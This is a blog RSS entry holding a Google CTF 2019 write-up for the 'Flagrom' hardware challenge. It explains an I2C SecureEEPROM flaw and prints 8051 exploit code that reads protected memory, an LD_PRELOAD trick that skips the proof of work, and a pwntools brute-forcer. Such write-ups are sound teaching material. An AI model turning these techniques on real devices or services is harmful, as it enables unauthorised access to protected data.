<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Google - RiskInsight</title>
	<atom:link href="https://www.riskinsight-wavestone.com/tag/google/feed/" rel="self" type="application/rss+xml" />
	<link>https://www.riskinsight-wavestone.com/tag/google/</link>
	<description>Le blog cybersécurité des consultants Wavestone</description>
	<lastBuildDate>Wed, 07 Jul 2021 15:34:01 +0000</lastBuildDate>
	<language>fr-FR</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://www.riskinsight-wavestone.com/wp-content/uploads/2024/02/Blogs-2024_RI-39x39.png</url>
	<title>Google - RiskInsight</title>
	<link>https://www.riskinsight-wavestone.com/tag/google/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>GoogleCTF 2019 Quals – Flagrom Challenge Writeup</title>
		<link>https://www.riskinsight-wavestone.com/2019/07/googlectf-2019-quals-flagrom-challenge-writeup/</link>
		
		<dc:creator><![CDATA[Gauthier Sebaux]]></dc:creator>
		<pubDate>Tue, 23 Jul 2019 17:14:02 +0000</pubDate>
				<category><![CDATA[Challenges]]></category>
		<category><![CDATA[Cybersecurity & Digital Trust]]></category>
		<category><![CDATA[challenge; concours;]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[Google]]></category>
		<category><![CDATA[write up]]></category>
		<guid isPermaLink="false">https://www.riskinsight-wavestone.com/?p=15578</guid>

					<description><![CDATA[<p>On June 22 and 23, 2019, Wavestone CTF team YoloSw4g took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software...</p>
<p>Cet article <a href="https://www.riskinsight-wavestone.com/2019/07/googlectf-2019-quals-flagrom-challenge-writeup/">GoogleCTF 2019 Quals – Flagrom Challenge Writeup</a> est apparu en premier sur <a href="https://www.riskinsight-wavestone.com">RiskInsight</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-NRoX8x8cCbs/XTb162VokSI/AAAAAAAAApo/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs/s1600/header.jpg"><img fetchpriority="high" decoding="async" src="https://1.bp.blogspot.com/-NRoX8x8cCbs/XTb162VokSI/AAAAAAAAApo/XhNoXYqweqsqJlUhExWrSP4_ZQIedGCjQCLcBGAs/s640/header.jpg" width="640" height="160" border="0" data-original-height="200" data-original-width="800" /></a></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">On June 22 and 23, 2019, Wavestone CTF team <i>YoloSw4g</i> took part in the qualifications for the Google CTF Finals. During this CTF, Google has provided many unusual challenges. Among them is Flagrom, a challenge halfway between hardware hacking and software security.</div>
<div style="text-align: justify;"></div>
<style type="text/css">
span.w-code { display: block; background-color: black; font-size: 10pt; color: rgb(224, 226, 228); white-space: pre-wrap; overflow-wrap: break-word; line-height: 14px; padding: 1%; font-family: monospace !important; }<br />.w-user { color: cornflowerblue; font-family: monospace !important; }<br />.w-root { color: lightcoral; font-family: monospace !important; }<br />.w-server { color: chartreuse; font-family: monospace !important; }<br />.w-cli { color: lightskyblue; font-family: monospace !important; }<br />.w-grepped { color: red; font-family: monospace !important; }<br />.w-all { font-family: monospace !important; }<br />.w-inline-code { color: rgb(199, 37, 78); background-color: rgb(249, 242, 244); border-radius: 4px; padding: 2px 4px; font-family: monospace !important; }<br />.sc0 { font-family: monospace !important; }<br />.sc4 { color: rgb(255, 132, 9); font-family: monospace !important; }<br />.sc10 { color: rgb(232, 226, 183); font-family: monospace !important; }<br />.sc11 { font-family: monospace !important; }<br />.sc16 { color: rgb(103, 140, 177); font-family: monospace !important; }<br />#table_wiki { width: 100%; border-collapse: collapse; }<br />#table_wiki td { text-align: center; border: 1px solid gray; width: 8%; background-color: rgb(245, 239, 237); }<br />.sc2 { color: rgb(255, 205, 34); font-family: monospace !important; }<br />.sc1 { color: rgb(102, 116, 123); font-family: monospace !important; }<br />.sc5 { font-weight: bold; color: rgb(147, 199, 99); font-family: monospace !important; }<br />.sc6 { color: rgb(236, 118, 0); font-family: monospace !important; }<br />.sc9 { color: rgb(160, 130, 189); font-family: monospace !important; }<br />.sc3 { color: rgb(236, 118, 0); font-family: monospace !important; }<br /></style>
<p>&nbsp;</p>
<h3 style="text-align: justify;">Introduction</h3>
<div style="text-align: justify;">The goal of the challenge is simple and given in the description:</div>
<p><span class="w-code">This 8051 board has a SecureEEPROM installed. It&rsquo;s obvious the flag is stored there. Go and get it.</span></p>
<div style="text-align: justify;">Four files are provided with it:</div>
<div style="text-align: justify;">
<ul>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/flagrom?raw=true">flagrom</a>: an ELF64 which is the main program,</li>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/firmware.8051?raw=true">firmware.8051</a>: the firmware which is compiled for an Intel 8051 microcontroller,</li>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/firmware.c">firmware.c</a>: the source code of firmware.8051,</li>
<li><a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/files/seeprom.sv">seeprom.sv</a>: the hardware description (in SystemVerilog) of the SecureEEPROM.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">At the first launch, a proof of work is required:</div>
<div style="text-align: justify;"><span class="w-code">$ <span class="w-cli">./flagrom </span><br />
What&rsquo;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with <span class="w-grepped">55d55d</span>?´</span></div>
<p>&nbsp;</p>
<div style="text-align: justify;">The <b>LD_PRELOAD</b> functionality allows you to bypass the proof of work when executing locally. To do this, simply redefine the <i>exit() </i>function to do nothing:</div>
<div style="text-align: justify;"><span class="w-code"><span class="sc16">void</span> <span class="sc11">exit</span><span class="sc10">(</span><span class="sc16">int</span> <span class="sc11">x</span><span class="sc10">){</span><span class="sc0"><br />
</span><span class="sc11">x</span> <span class="sc10">=</span> <span class="sc4">1</span> <span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc10">}</span></span></div>
<div style="text-align: justify;">It is then possible to get an overview of how the challenge works:</div>
<p><span class="w-code">$ <span class="w-cli">LD_PRELOAD=exit.so ./flagrom </span><br />
What&rsquo;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with c7e0be?<br />
That looks wrong. Good bye.<br />
Wrong answer. Good bye.<br />
What&rsquo;s the length of your payload?<br />
0<br />
Executing firmware&#8230;<br />
[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br />
[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br />
[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br />
[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br />
Executing usercode&#8230;<br />
Clean exit.</span></p>
<div style="text-align: justify;"><b>Flagrom </b>operates as follows:</div>
<div style="text-align: justify;">
<ul>
<li>Get a proof of work,</li>
<li>Get usercode from the user (the payload),</li>
<li>Execute the firmware,</li>
<li>Execute the usercode.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Let&rsquo;s take a look at the firmware code:</div>
<p><span class="w-code"><span class="sc16">void</span> <span class="sc11">main</span><span class="sc10">(</span><span class="sc16">void</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">write_flag</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">secure_banks</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">remove_flag</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">write_welcome</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">POWEROFF</span> <span class="sc10">=</span> <span class="sc4">1</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc10">}</span></span></p>
<div style="text-align: justify;">The <i>main()</i> function sum up all actions:</div>
<div style="text-align: justify;">
<ul>
<li>The flag is written in the SecureEEPROM, starting at address 64.</li>
<li>The second 64-byte bank (the one with the flag) is <b>secured against access</b>.</li>
<li>The <b>flag is removed</b> from the main program memory.</li>
<li>The string « Hello there » is written in the SecureEEPROM, starting at address 0.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h3>Understanding the SecureEEPROM</h3>
</div>
<div style="text-align: justify;">All communications with the SecureEEPROM is perform with the I²C protocol. Before going into the SecureEEPROM code, it is necessary to understand how I²C works.</div>
<div style="text-align: justify;">It is a 2-wires master-slave communication protocol widely used in hardware. The first wire, named SCL, serves as a clock to indicated when a signal is safe for reading. The second wire, named SDA, holds the data to be transmitted.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-6CXt0-ApxMw/XTb16Ga-g3I/AAAAAAAAAps/kHpJlrFLRVQrl_Up6zGiz8cm4IuriivTQCEwYBhgL/s1600/1.png"><img decoding="async" src="https://1.bp.blogspot.com/-6CXt0-ApxMw/XTb16Ga-g3I/AAAAAAAAAps/kHpJlrFLRVQrl_Up6zGiz8cm4IuriivTQCEwYBhgL/s640/1.png" width="640" height="106" border="0" data-original-height="267" data-original-width="1600" /></a></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Timing diagram of a I²C communication (source: Wikipedia)</span></i></div>
</div>
<div style="text-align: justify;">An I²C transaction is a composed of:</div>
<div style="text-align: justify;">
<ul>
<li>A <i>start bit</i> (in yellow) which indicate a new transaction is about to be sent,</li>
<li>Several data bits (in green), indicated with a high SCL,</li>
<li>A <i>stop bit</i> (in yellow) which indicate the end on the transaction.</li>
</ul>
</div>
<div style="text-align: justify;">After every byte, a special state of SDA and SCL allows slaves to acknowledge (ACK) the reception of data.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">I²C specifications define an addressing structure to indicate which slave is the recipient:</div>
<div style="text-align: justify;">
<ul>
<li>The address constitutes the first 7 bits of the transaction (most significant bit first).</li>
<li>The 8th bit indicates whether it is a read (1) or write (0) action.</li>
<li>The slave acknowledges here (first byte).</li>
<li>The rest is the data which is device-specific.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<table id="table_wiki">
<tbody>
<tr>
<td style="background-color: #dfdcd4;" rowspan="4">Start</td>
<td colspan="7">Slave address</td>
<td style="background-color: #dacdeb;">R/W</td>
<td style="background-color: #dfdcd4;" rowspan="4">ACK</td>
<td rowspan="4">Data</td>
<td style="background-color: #dfdcd4;" rowspan="4">Stop</td>
</tr>
<tr>
<td>0</td>
<td>1</td>
<td>2</td>
<td>3</td>
<td>4</td>
<td>5</td>
<td>6</td>
<td style="background-color: #dacdeb;">7</td>
</tr>
<tr>
<td rowspan="2">MSB</td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2"></td>
<td rowspan="2">LSB</td>
<td style="background-color: #dacdeb;">0 = R</td>
</tr>
<tr>
<td style="background-color: #dacdeb;">1 = W</td>
</tr>
</tbody>
</table>
<div style="text-align: center;"><i><span style="font-size: x-small;">Addressing structure of an I²C transaction</span></i></div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">For the SecureEEPROM, two addresses are defined in <i>firmware.c</i>:</div>
<div style="text-align: justify;">
<ul>
<li>The address of the memory module used to read and write data in the EEPROM,</li>
<li>The address of the security module used to secure EEPROM data banks.</li>
</ul>
</div>
<div style="text-align: justify;">The messages to the security module do not exactly follows this structure. A 4-bit prefix is used as slave address, while the remaining four bits (bits 4 to 7) are used to indicate which 64-bytes bank to secure.</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">Let&rsquo;s now take a deeper look at the hardware description of the SecureEEPROM. It is written in SystemVerilog syntax. If you are not comfortable with it, you should first read the Wikipedia page to understand the basis.</div>
<div style="text-align: justify;">Some procedural blocks are used to keep track of the state of the I²C bus within the program:</div>
<div style="text-align: justify;">
<ul>
<li><b>i2c_scl_state </b>keeps track of the state of the SCL wire. It may be stable high, stable low or on a rising or falling edge.</li>
<li><b>i2c_start </b>and <b>i2c_stop </b>are set whenever a start or stop bit is sent on the bus.</li>
</ul>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">The main part of the SecureEEPROM hardware is a Flip-Flop procedural block (<b>always_ff</b>) which defines a finite state machine to handle I²C communications and actions on the EEPROM.</div>
<div style="text-align: justify;">
<div class="separator" style="clear: both; text-align: center;"></div>
<p><a style="margin-left: 1em; margin-right: 1em; text-align: center;" href="https://1.bp.blogspot.com/-0wpaO63mcJY/XTcCOF4K8UI/AAAAAAAAAqM/8NlIiuRYg8kb8rQPHZJsz4wrYO6JydVVgCLcBGAs/s1600/2.png"><img decoding="async" src="https://1.bp.blogspot.com/-0wpaO63mcJY/XTcCOF4K8UI/AAAAAAAAAqM/8NlIiuRYg8kb8rQPHZJsz4wrYO6JydVVgCLcBGAs/s640/2.png" width="609" height="640" border="0" data-original-height="1160" data-original-width="1105" /></a></p>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;">Finite state machine of the SecureEEPROM</span></i></div>
</div>
<div style="text-align: justify;">
<ul>
<li>The SecureEEPROM start in the state I2C_IDLE where it waits for a start bit to be received.</li>
<li>After the start bit, it reads the first control byte to get the slave address (control_prefix) to perform the right actions.</li>
<li>When the recipient is the security module, the bank index is contained in the least four significant bits of the control. It is directly secured and the SecureEEPROM returns in the I2C_IDLE state.</li>
<li>When the recipient is the EEPROM module, the action depends on the R/W bit of the control byte:
<ul>
<li>For write action, the EEPROM first read an address before writing into memory.</li>
<li>For read action, the EEPROM need to have already an address loaded before sending bytes of its memory. To read the EEPROM from the user program, one should
<ul>
<li>Start a write transaction to the EEPROM module and load the address,</li>
<li>Start a new read transaction to the EEPROM module without a stop bit,</li>
<li>Read the required number of bytes,</li>
<li>Send a stop bit to end the transaction.</li>
</ul>
</li>
</ul>
</li>
</ul>
<ul>
<li>In any state, the reception of a stop bit will clear the loaded address and transition to the I2C_IDLE state.</li>
<li>In any state, the reception of a start bit will transition to the I2C_START state without clearing the loaded address.</li>
</ul>
</div>
<p>&nbsp;</p>
<div style="text-align: justify;">
<h3>Reading secured areas</h3>
</div>
<div style="text-align: justify;">
<h4>Finding the vulnerability</h4>
</div>
<div style="text-align: justify;">The protection of the memory, in the EEPROM, is performed at two stages:</div>
<div style="text-align: justify;">
<ul>
<li>When an address is loaded, if the pointed memory location is secured, the address is tainted as invalid (<b>i2c_address_valid</b> = 0),</li>
<li>After each read or write action, the loaded address is increased only if the security of the next address is the same as the security of the current address.</li>
</ul>
</div>
<div style="text-align: justify;">The latter condition is strange: why not only check whether next address is secured? It means that it is possible to read secured address if the current address is secured. However, we cannot load a secured address because of the former condition.</div>
<div style="text-align: justify;">What about changing the security of the current address after loading it?</div>
<div style="text-align: justify;">
<ul>
<li>When a bank is secured, the loaded address is not checked nor invalidated.</li>
<li>We cannot send any stop bit otherwise the loaded address would be invalidated.</li>
<li>However, we can use the start bit to start a new transaction while keeping the address loaded.</li>
</ul>
</div>
<div style="text-align: justify;">
<p>With this in mind, a path of three transactions can be found to read secured areaFirst load an address in the first unprotected bank and end with a start bit:</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-ea3gOmmP50s/XTcDq6OL3BI/AAAAAAAAAqk/V7qRFMMvEf0HBix9pchtVUwdC3qL-SitgCLcBGAs/s1600/3.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-ea3gOmmP50s/XTcDq6OL3BI/AAAAAAAAAqk/V7qRFMMvEf0HBix9pchtVUwdC3qL-SitgCLcBGAs/s640/3.png" width="640" height="454" border="0" data-original-height="611" data-original-width="860" /></a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;"> </span></i></div>
<div style="text-align: center;"><i><span style="font-size: x-small;">Exploitation path — load an unprotected address</span></i></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<p>Then secure the first bank:</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-87VxHPpRYPI/XTcD8u8jqRI/AAAAAAAAAqs/84LQ1r5eTn0Mc7GtlQSJDJKwBuNEXtbLACLcBGAs/s1600/4.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-87VxHPpRYPI/XTcD8u8jqRI/AAAAAAAAAqs/84LQ1r5eTn0Mc7GtlQSJDJKwBuNEXtbLACLcBGAs/s640/4.png" width="640" height="280" border="0" data-original-height="379" data-original-width="861" /></a></div>
<p>&nbsp;</p>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;">Exploitation path — secure the bank of the loaded address</span></i></div>
</div>
<div style="text-align: justify;">
<p>Finally, start a read action and read past the current bank boundaries:</p>
<div class="separator" style="clear: both; text-align: center;"><a style="margin-left: 1em; margin-right: 1em;" href="https://1.bp.blogspot.com/-yh4f-R4YeXc/XTcEDSqMs_I/AAAAAAAAAqw/qASujmVFdwAzk1X41k41i55AjFM41LyHwCLcBGAs/s1600/5.png"><img loading="lazy" decoding="async" src="https://1.bp.blogspot.com/-yh4f-R4YeXc/XTcEDSqMs_I/AAAAAAAAAqw/qASujmVFdwAzk1X41k41i55AjFM41LyHwCLcBGAs/s640/5.png" width="590" height="640" border="0" data-original-height="866" data-original-width="800" /></a></div>
</div>
<div style="text-align: justify;">
<div style="text-align: center;"><i><span style="font-size: x-small;">Exploitation path — read past the current bank</span></i></div>
</div>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h4>Exploitation from a user code</h4>
</div>
<div style="text-align: justify;">Now that the exploitation path is known, a user code needs to be written to exploit it. The 8051 microcontroller provides a high-level interface for I²C communications.</div>
<p><span class="w-code"><span class="sc16">void</span> <span class="sc11">seeprom_write_byte</span><span class="sc10">(</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">addr</span><span class="sc10">,</span> <span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">value</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">seeprom_wait_until_idle</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc11">I2C_ADDR</span> <span class="sc10">=</span> <span class="sc11">SEEPROM_I2C_ADDR_MEMORY</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_LENGTH</span> <span class="sc10">=</span> <span class="sc4">2</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_ERROR_CODE</span> <span class="sc10">=</span> <span class="sc4">0</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_DATA</span><span class="sc10">[</span><span class="sc4">0</span><span class="sc10">]</span> <span class="sc10">=</span> <span class="sc11">addr</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_DATA</span><span class="sc10">[</span><span class="sc4">1</span><span class="sc10">]</span> <span class="sc10">=</span> <span class="sc11">value</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">I2C_RW_MASK</span> <span class="sc10">=</span> <span class="sc4">0b00</span><span class="sc10">;</span> <span class="sc1">// 2x Write Byte<br />
</span><span class="sc0"><br />
</span><span class="sc11">I2C_STATE</span> <span class="sc10">=</span> <span class="sc4">1</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">seeprom_wait_until_idle</span><span class="sc10">();</span><span class="sc0"><br />
</span><span class="sc10">}</span></span></p>
<div style="text-align: justify;">It is, however, not possible to change the address within the same communication. A raw access to I²C wires is however provided:</div>
<p><span class="w-code"><span class="sc11">__sfr</span> <span class="sc11">__at</span><span class="sc10">(</span><span class="sc4">0xfa</span><span class="sc10">)</span> <span class="sc11">RAW_I2C_SCL</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">__sfr</span> <span class="sc11">__at</span><span class="sc10">(</span><span class="sc4">0xfb</span><span class="sc10">)</span> <span class="sc11">RAW_I2C_SDA</span><span class="sc10">;</span></span></p>
<div style="text-align: justify;">Wikipedia provides an <a href="https://en.wikipedia.org/wiki/I%C2%B2C#Example_of_bit-banging_the_I%C2%B2C_master_protocol">example in C code</a> in the I²C page. It can be used as a base for the exploitation program. It gives two high level function to read and write bytes:</div>
<p><span class="w-code"><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">send_start</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">send_stop</span><span class="sc10">,</span><span class="sc0"><br />
</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">byte</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">i2c_read_byte</span><span class="sc10">(</span><span class="sc16">unsigned</span> <span class="sc16">char</span> <span class="sc11">send_stop</span><span class="sc10">);</span></span></p>
<div style="text-align: justify;">The acknowledgement of the function i2c_read_byte needs to be modified for it to work with the EEPROM. The EEPROM can be exploited with the following code:</div>
<p><span class="w-code"><span class="sc9">#define SEEPROM_I2C_CTRL_READ (SEEPROM_I2C_ADDR_MEMORY | 0b1)<br />
#define SEEPROM_I2C_CTRL_WRIT (SEEPROM_I2C_ADDR_MEMORY | 0b0)<br />
</span><span class="sc0"><br />
</span><span class="sc16">void</span> <span class="sc11">main</span><span class="sc10">(</span><span class="sc16">void</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc16">int</span> <span class="sc11">i</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc11">print</span><span class="sc10">(</span><span class="sc6">« start user program\n »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc1">/* Load address 0 */</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">1</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc11">SEEPROM_I2C_CTRL_WRIT</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">0</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc1">/* Secure all banks */</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">1</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc11">SEEPROM_I2C_ADDR_SECURE</span> <span class="sc10">|</span> <span class="sc4">0b1111</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc1">/* Read 255 bytes of memory */</span><span class="sc0"><br />
</span><span class="sc11">i2c_write_byte</span><span class="sc10">(</span><span class="sc4">1</span><span class="sc10">,</span> <span class="sc4">0</span><span class="sc10">,</span> <span class="sc11">SEEPROM_I2C_CTRL_READ</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc5">for</span> <span class="sc10">(</span><span class="sc11">i</span><span class="sc10">=</span><span class="sc4">0</span><span class="sc10">;</span> <span class="sc11">i</span><span class="sc10">&lt;</span><span class="sc4">255</span><span class="sc10">;</span> <span class="sc11">i</span><span class="sc10">++)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc10">(</span><span class="sc11">i</span><span class="sc10">%</span><span class="sc4">64</span> <span class="sc10">==</span> <span class="sc4">0</span><span class="sc10">)</span> <span class="sc10">{</span><span class="sc0"><br />
</span><span class="sc11">print</span><span class="sc10">(</span><span class="sc6">« \n »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc11">CHAROUT</span> <span class="sc10">=</span> <span class="sc11">i2c_read_byte</span><span class="sc10">(</span><span class="sc4">0</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span><span class="sc11">print</span><span class="sc10">(</span><span class="sc6">« \n »</span><span class="sc10">);</span><span class="sc0"><br />
</span><span class="sc11">POWEROFF</span> <span class="sc10">=</span> <span class="sc4">1</span><span class="sc10">;</span><span class="sc0"><br />
</span><span class="sc10">}</span><span class="sc0"><br />
</span></span></p>
<div style="text-align: justify;">The full exploitation program can be found <a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/solve/hack.c">here</a>. On Linux, the compiler sdcc supports Inter 8051 microcontroller and may be used. It generates an IntelHex format which should be converted to a raw binary. Some Python libraries exist to perform the conversion.</div>
<p><span class="w-code">$ <span class="w-cli">{ echo; wc -c hack.bin; cat hack.bin; } | LD_PRELOAD=../solve/exit.so ./flagrom</span><br />
What&rsquo;s a printable string less than 64 bytes that starts with flagrom- whose md5 starts with 01c5a4?<br />
That looks wrong. Good bye.<br />
Wrong answer. Good bye.<br />
What&rsquo;s the length of your payload?<br />
Executing firmware&#8230;<br />
[FW] Writing flag to SecureEEPROM&#8230;&#8230;&#8230;&#8230;&#8230;DONE<br />
[FW] Securing SecureEEPROM flag banks&#8230;&#8230;&#8230;..DONE<br />
[FW] Removing flag from 8051 memory&#8230;&#8230;&#8230;&#8230;.DONE<br />
[FW] Writing welcome message to SecureEEPROM&#8230;.DONE<br />
Executing usercode&#8230;<br />
start user program<br />
Hello there.<br />
<span class="w-grepped">On the real server the flag is loaded here.</span><br />
Clean exit.<br />
</span></p>
<div style="text-align: justify;">The code works just fine on the local instance and we successfully get a fake flag.</div>
<div style="text-align: justify;">
<h3>Exploiting the remote service</h3>
</div>
<div style="text-align: justify;">
<h4>Completing the proof of work</h4>
</div>
<div style="text-align: justify;">To exploit the SecureEEPROM remotely, the final step is to perform the proof of work. Nothing complex in it, just brute force until you find a valid proof. Here is a Python code doing that:</div>
<p><span class="w-code"><span class="sc5">from</span> <span class="sc11">pwn</span> <span class="sc5">import</span> <span class="sc10">*</span><span class="sc0"><br />
</span><span class="sc11">io</span> <span class="sc10">=</span> <span class="sc11">remote</span><span class="sc10">(</span><span class="sc4">&lsquo;flagrom.ctfcompetition.com&rsquo;</span><span class="sc10">,</span> <span class="sc2">1337</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc11">ask</span> <span class="sc10">=</span> <span class="sc11">io</span><span class="sc10">.</span><span class="sc11">recvuntil</span><span class="sc10">(</span><span class="sc4">&lsquo;\n&rsquo;</span><span class="sc10">).</span><span class="sc11">split</span><span class="sc10">()</span><span class="sc0"><br />
</span><span class="sc11">start</span><span class="sc10">,</span> <span class="sc11">md5</span> <span class="sc10">=</span> <span class="sc11">ask</span><span class="sc10">[</span><span class="sc2">11</span><span class="sc10">],</span> <span class="sc11">ask</span><span class="sc10">[</span><span class="sc2">16</span><span class="sc10">][:-</span><span class="sc2">1</span><span class="sc10">]</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3">« Proof of work with: »</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3"> » start = %s »</span> <span class="sc10">%</span> <span class="sc11">start</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3"> » md5 = %s »</span> <span class="sc10">%</span> <span class="sc11">md5</span><span class="sc0"><br />
</span><span class="sc5">while</span> <span class="sc5">True</span><span class="sc10">:</span><span class="sc0"><br />
</span><span class="sc11">r</span> <span class="sc10">=</span> <span class="sc11">random</span><span class="sc10">.</span><span class="sc11">random</span><span class="sc10">()</span><span class="sc0"><br />
</span><span class="sc11">s</span> <span class="sc10">=</span> <span class="sc11">start</span> <span class="sc10">+</span> <span class="sc11">str</span><span class="sc10">(</span><span class="sc11">r</span><span class="sc10">)</span><span class="sc0"><br />
</span><span class="sc5">if</span> <span class="sc11">hashlib</span><span class="sc10">.</span><span class="sc11">md5</span><span class="sc10">(</span><span class="sc11">s</span><span class="sc10">).</span><span class="sc11">hexdigest</span><span class="sc10">().</span><span class="sc11">startswith</span><span class="sc10">(</span><span class="sc11">md5</span><span class="sc10">):</span><span class="sc0"><br />
</span><span class="sc5">print</span> <span class="sc3">« Found %s »</span> <span class="sc10">%</span> <span class="sc11">s</span><span class="sc0"><br />
</span><span class="sc5">break</span><span class="sc0"><br />
</span></span></p>
<div style="text-align: justify;"></div>
<div style="text-align: justify;">
<h4>Retrieving the flag</h4>
</div>
<div style="text-align: justify;">A complete exploit can be downloaded <a href="https://github.com/CERT-W/securityinsider/blob/master/Google-CTF-Quals2019-Flagrom-Challenge-Writeup/solve/exploit.py">here</a>. It handles the compilation of the user code, performs the proof of work and run the user code.</div>
<p><span class="w-code">$ <span class="w-cli">python exploit.py remote hack.c</span><br />
[+] Starting local process &lsquo;./flagrom&rsquo;: pid 7333<br />
Sending payload<br />
Received data<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;-<br />
